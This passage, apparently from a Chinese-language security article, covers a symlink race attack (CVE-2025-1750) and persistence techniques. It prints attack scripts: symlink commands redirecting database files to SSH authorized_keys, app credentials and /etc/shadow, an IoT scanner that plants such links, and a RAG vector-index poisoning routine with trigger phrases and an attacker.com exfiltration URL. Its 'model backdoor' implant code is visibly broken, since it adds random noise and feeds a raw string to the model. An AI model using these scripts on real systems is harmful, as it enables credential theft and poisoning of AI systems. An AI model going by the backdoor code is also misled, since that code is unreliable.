        cpu_delta = current_cpu_times.user - previous_cpu_times.user

        if cpu_delta == 0:
            print(f"[+] Victim process blocked at {time.time()}")

        previous_cpu_times = current_cpu_times

当受害者进程进行文件 I/O 时,可能会被调度器阻塞。攻击者可以利用这个时间窗口创建符号链接,提高竞态成功的概率。

持久化与后门技术

一旦通过符号链接攻击成功获得访问权限,攻击者会试图建立持久化后门,以便在漏洞修复后仍然能够访问系统。

传统的后门技术包括修改启动脚本、创建计划任务、或者植入 SSH 密钥。但在 AI 环境中,更隐蔽的方式是污染模型的训练数据或向量索引:

def poison_vector_index(vector_store):
    backdoor_queries = [
        "reset admin password",
        "disable authentication",
        "grant all privileges",
        "export user database"
    ]

    backdoor_responses = [
        "Password reset to: backdoor123",
        "Authentication disabled successfully",
        "All privileges granted to user: anonymous",
        "Database exported to: http://attacker.com/exfil"
    ]

    for query, response in zip(backdoor_queries, backdoor_responses):
        doc = Document(text=response, metadata={"trigger": query})
        vector_store.add(doc)

这种后门的特点是极难检测。向量索引的嵌入表示是高维浮点数向量,人工审查几乎不可能发现异常。而且,攻击者可以通过精心构造触发短语,使得正常的查询不会触发后门,只有特定的关键词组合才会返回恶意响应。

更高级的持久化技术是修改 AI 模型的参数。如果攻击者能够访问模型训练或微调过程,可以在模型权重中植入隐藏行为:

def implant_model_backdoor(model):
    target_layer = model.layers[-1]

    original_weights = target_layer.weight.data.clone()

    backdoor_pattern = torch.randn_like(original_weights) * 0.01

    target_layer.weight.data = original_weights + backdoor_pattern

    trigger_input = "admin override"

    with torch.no_grad():
        output = model(trigger_input)
        if "backdoor" in output:
            print("[+] Backdoor successfully implanted")

    return model

这种类型的后门被称为模型木马,它在特定输入触发下表现出异常行为,但对正常输入的影响微乎其微。检测模型木马是当前 AI 安全领域的前沿研究方向。

跨平台攻击向量

CVE-2025-1750 虽然主要影响 Linux/Unix 系统,但类似的漏洞模式也存在于其他平台。

macOS 平台

macOS 系统虽然基于 Unix,但有一些独特的安全特性可能影响符号链接攻击的可行性。macOS 的 SIP(System Integrity Protection)和 Sandbox 机制限制了对某些系统目录的访问,但用户目录和临时目录仍然可能受到攻击。

ln -s /Users/victim/.ssh/authorized_keys /tmp/duckdb.db

在 macOS 上,如果应用程序启用了 App Sandbox,对文件系统的访问会被进一步限制。但这可能带来虚假的安全感,因为沙盒边界内的临时文件仍然可能被同沙盒内的其他进程攻击。

Android 平台

Android 系统使用 SELinux 强制访问控制,这大大限制了符号链接攻击的可能性。但在 rooted 设备或某些配置错误的系统上,类似的攻击仍然可能发生:

ln -s /data/data/com.victim.app/files/credentials /sdcard/Download/vectors.db

嵌入式与 IoT 设备

嵌入式设备和 IoT 系统往往是攻击的重点目标。这些设备通常缺乏现代操作系统的安全机制,而且 AI/ML 推理在边缘设备上越来越常见:

def exploit_iot_device():
    tmp_dirs = [
        "/tmp",
        "/var/tmp",
        "/run",
        "/dev/shm",
        "/data/local/tmp"
    ]

    for tmp_dir in tmp_dirs:
        if os.path.exists(tmp_dir):
            if os.access(tmp_dir, os.W_OK):
                print(f"[+] Writable tmp dir: {tmp_dir}")

                os.makedirs(f"{tmp_dir}/duckdb", exist_ok=True)
                os.symlink("/etc/shadow", f"{tmp_dir}/duckdb/vectors.db")

嵌入式设备通常运行资源受限的 Linux 发行版,可能没有开启 fs.protected_symlinks 保护。而且这些设备的安全更新往往滞后,使得攻击窗口更长。